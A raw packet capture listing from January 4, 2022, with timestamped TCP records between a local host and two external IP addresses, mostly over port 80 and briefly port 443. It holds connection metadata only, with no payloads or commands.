Jan 4, 2022 19:34:02.665266037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665275097 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665282965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665299892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665304899 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665318012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665327072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665334940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665353060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665370941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665374041 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665388107 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665412903 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665436029 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665436029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665453911 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665478945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665481091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665497065 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665509939 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665527105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:02.665544987 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.665581942 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:02.667912006 CET	49904	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:34:02.667960882 CET	443	49904	194.87.235.183	192.168.2.5
Jan 4, 2022 19:34:02.668061972 CET	49904	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:34:03.577054977 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599330902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599364996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599381924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599401951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599423885 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599435091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599442959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599459887 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599463940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599481106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599503994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599514961 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599524975 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599526882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.599555016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.599579096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.622819901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622848988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622864962 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622881889 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622895002 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.622901917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622920036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622934103 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.622940063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622958899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622977972 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.622999907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623007059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623018980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623025894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623037100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623040915 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623051882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623068094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623084068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623099089 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623104095 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623119116 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623137951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623158932 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623166084 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623179913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623182058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.623204947 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.623246908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645766973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645798922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645817041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645838976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645860910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645864010 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645884037 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645894051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645911932 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645920038 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645930052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645944118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645951033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645967007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.645983934 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.645987034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646011114 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646025896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646032095 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646050930 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646054983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646069050 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646086931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646095991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646106005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646121979 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646136045 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646142006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646163940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646183968 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646186113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646203041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646210909 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646220922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646231890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646239996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646255970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646271944 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646275043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646292925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646298885 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646317005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646337032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646343946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646356106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646364927 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646373987 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646390915 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646403074 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646409988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646425009 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646435976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646445036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646462917 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646464109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646481991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646488905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646503925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646527052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646529913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646543980 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.646574974 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.646599054 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.668883085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.668915987 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.668937922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.668956041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.668968916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.668975115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.668992996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669008970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669025898 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669028997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669045925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669061899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669084072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669101954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669105053 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669111013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669121027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669136047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669143915 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669151068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669167995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669177055 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669183969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669198990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669209003 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669219017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669239044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669240952 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669255972 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669265032 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669271946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669286966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669302940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669311047 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669318914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669332981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669348955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669356108 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669369936 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669384956 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669388056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669404030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669414043 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669420004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669435024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669450998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669455051 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669465065 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669481039 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669496059 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669496059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669512033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669523954 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669534922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669553995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669555902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669569969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669579983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669585943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669601917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669617891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669626951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669634104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669648886 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669665098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669667959 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669684887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669698000 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669706106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669722080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669729948 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669738054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669754982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669761896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669770002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669785976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669785976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669801950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669817924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669828892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669840097 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669857025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669868946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669872046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669887066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669903040 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669905901 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669919014 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669934034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669941902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669950962 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669970036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.669976950 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.669990063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670001030 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670006037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670022011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670037985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670043945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670053959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670069933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670083046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670084000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670099974 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670114994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670114994 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670134068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670141935 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670155048 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670171022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670181990 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670186996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670202971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670217991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670224905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670233965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.670263052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.670286894 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692322969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692348957 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692369938 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692389965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692405939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692421913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692433119 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692439079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692456007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692465067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692471027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692487955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692502975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692504883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692518950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692528963 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692540884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692555904 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692563057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692579985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692581892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692595959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692611933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692629099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692631960 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692643881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692666054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692672968 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692682028 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692697048 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692698002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692718029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692734003 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692739010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692755938 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692773104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692789078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692790985 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692804098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692820072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692820072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692861080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692904949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.692924976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.692946911 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693044901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693063021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693078995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693088055 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693094969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693110943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693126917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693128109 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693142891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693160057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693166018 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693181038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693197966 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693202019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693219900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693228006 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693237066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693252087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693268061 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693305016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693396091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693413019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693429947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693440914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693444967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693459988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693475008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693480968 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693519115 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693552971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693569899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693584919 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693593979 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693599939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693617105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693631887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693639040 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693654060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693671942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693679094 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693687916 CET	80	49897	65.108.180.72	192.168.2.5
